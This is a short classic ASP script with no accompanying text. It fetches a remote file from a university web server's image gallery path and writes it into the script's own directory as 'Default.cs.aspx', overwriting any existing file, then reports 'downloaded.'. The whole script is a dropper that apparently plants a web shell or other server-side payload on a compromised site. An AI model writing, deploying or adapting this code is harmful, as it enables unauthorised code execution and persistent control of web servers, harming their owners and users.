<% Option Explicit
Dim cOUT,scc,cURL,objXML,binXML,objADO
scc = Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))
cOUT = Left(scc,Len(scc) - 13)
cURL = "http://hamyaran.sharif.edu/gallery/images/1.txt"
Const cform = "Default.cs.aspx"
Set objXML = CreateObject("Microsoft.XMLHTTP")
objXML.Open "GET", cURL , False
objXML.Send
binXML = objXML.ResponseBody
Set objXML = Nothing
Set objADO = server.CreateObject("ADODB.Stream")
objADO.Type = 1
objADO.Open
objADO.Write binXML
objADO.SaveToFile cOUT & cform,2
Set objADO = Nothing
Response.Write "downloaded."
%>